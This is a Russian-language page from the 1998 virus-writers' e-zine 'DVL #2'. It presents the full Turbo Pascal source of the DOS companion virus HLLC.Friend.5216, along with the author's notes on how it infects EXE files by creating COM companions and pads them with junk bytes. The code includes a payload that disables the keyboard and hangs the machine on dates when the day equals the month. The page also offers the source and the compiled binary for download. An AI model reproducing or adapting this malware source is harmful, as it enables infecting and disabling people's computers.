D V L # 2

HLLC.Friend.5216 (c) by Duke/SMF
Имя вируса : Friend-3 Автор : Duke/SMF Дата создания : 05.11.98 Длина : 5216 байт Перед вами простенький вирус HLLC.Friend.5216 или Friend-3. Это файловый компаньон вирус, поражающий EXE-файлы в текущем каталоге. Главный прикол состоит в том, что компаньон-вирусы как правило написаны на ассемблере, чтобы откомпилированный вирус имел расширение имени COM. Тогда он сможет поражать EXE-файлы, создавая COM-файл спутник. Но Turbo Pascal 7.1 компилирует свои файлы только в формат EXE. Утилиты типа EXE2COM могут быть малорезультативны в этом случае, поэтому я использую способ попроще - переименовать откомпилированный вирус в файл с расширением COM. И это все - вирус готов к запуску ! Вирус после очередного заражения изменяет длину файла записыванием всякого мусора в конец - он не влияет на работу программы, но в одной директории не будет нескольких COM-файлов с одинаковой длиной. По сравнению с версией 1 добавлены проявления (см. в конце файла). ===== Cut here ===== {$M 5000, 0, 5000} uses dos; const virsize=5216; {длина вируса} e='.exe'; var ds:dirstr; ns:namestr; es:extstr; f,g:file; s:searchrec; mas:array[1..virsize] of char; {тело вируса} st:string; yd,md,dd,wd:word; {текущая дата} par:string; {параметры командной строки} i:integer; label infect; {---------------------------------------------------------------------------} procedure zar; {процедура заражения} var i:integer;ch:char; begin fsplit(s.name,ds,ns,es); st:=ds+ns+'.com'; assign(g,st);{$I-}reset(g,1);{$I+} {Проверяем, есть ли уже файл} {с расширением COM} if ioresult<>0 then {Если нет => ещ± не заражен...} begin rewrite(g,1); {... создаем компаньон} blockwrite(g,mas,virsize); {... пишем вирус} for i:=1 to random(500) do {... пишем мусор} begin ch:=chr(random(250)); blockwrite(g,ch,1); end; end; close(g); end; {---------------------------------------------------------------------------} function ReadKey : Char; {аналог функции ReadKey модуля Crt} var chrout : char; CheckBreak: boolean; begin Inline( $B4/$07/ { MOV AH,$07 } $CD/$21/ { INT $21 } $88/$86/>CHROUT); { MOV >chrout[bp],AL } if CheckBreak and (chrout = #3) then begin Inline( $CD/$23); { INT $23 } end; ReadKey := chrout; end; {---------------------------------------------------------------------------} begin st:='This is [Friend-3] virus (c) by Duke/SMF 5.11.98'; fsplit(paramstr(0),ds,ns,es); st:=ds+ns+e; assign(g,st);{$I-}reset(g);{$I+} if ioresult<>0 then goto infect; {если не найден пораженный файл, то заражаем всех} close(g); par:=''; for i:=1 to paramcount do par:=par+' '+paramstr(i); exec(GetEnv('COMSPEC'),'/c '+st+par); {---- Поиск и заражение ----} infect: assign(f,paramstr(0));reset(f,1); blockread(f,mas,virsize); close(f); findfirst('*'+e,$21,s); zar; while doserror=0 do begin findnext(s); zar; end; {---- Проверка даты и проявления вируса ----} GetDate(yd,md,dd,wd); if yd>2000 then begin writeln('Переведи дату!');readkey end; if dd=md then {Вешаем систему:} begin asm in al,64h {отключаем клавиатуру ... } or al,40h out 64h,al end; readkey; {и ждем нажатия на клавишу >:-() } end; end. ===== Cut here =====

Здесь вы можете скачать:
Вирус HLLC.Friend.5216 - исходник и откомпилированный

Back Вернуться на страницу оглавления